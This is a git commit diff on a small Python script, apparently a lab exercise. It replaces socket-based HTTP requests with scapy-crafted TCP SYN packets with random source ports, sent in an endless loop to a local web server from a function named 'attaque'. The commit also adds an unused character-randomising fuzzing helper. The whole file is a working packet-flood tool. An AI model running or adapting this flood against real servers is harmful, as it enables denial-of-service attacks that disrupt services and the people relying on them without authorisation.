scapy chgmt
This commit is contained in:
parent
e03b4ce473
commit
de14ac4b8b
1 changed files with 17 additions and 17 deletions
|
@ -1,26 +1,26 @@
|
||||||
import socket
|
from scapy.all import *
|
||||||
import random as r
|
import random as r
|
||||||
|
|
||||||
L=[
|
L = [
|
||||||
"G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n",
|
"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
||||||
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
||||||
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
|
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
|
||||||
]
|
]
|
||||||
|
|
||||||
adresse="localhost"
|
adresse = "127.0.0.1"
|
||||||
port=80
|
port = 80
|
||||||
|
|
||||||
|
def changeCara(val,nb):
|
||||||
|
for i in range(nb):
|
||||||
|
nb_aleatoire=r.randint(0,len(val)-1)
|
||||||
|
val[nb_aleatoire]=chr(r.randint(0,256))
|
||||||
|
return val
|
||||||
|
|
||||||
def attaque():
|
def attaque():
|
||||||
while True:
|
while True:
|
||||||
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
requete = L[r.randint(0, 2)]
|
||||||
s.connect(adresse,port)
|
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
|
||||||
s.send(L[r.randint(0,2)].encode())
|
send(paquet, verbose=False)
|
||||||
|
|
||||||
'''
|
if __name__ == "__main__":
|
||||||
|
|
||||||
GET / HTTP/1.1
|
|
||||||
Host: example.com
|
|
||||||
|
|
||||||
'''
|
|
||||||
|
|
||||||
if __name__=="__main__":
|
|
||||||
attaque()
|
attaque()
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue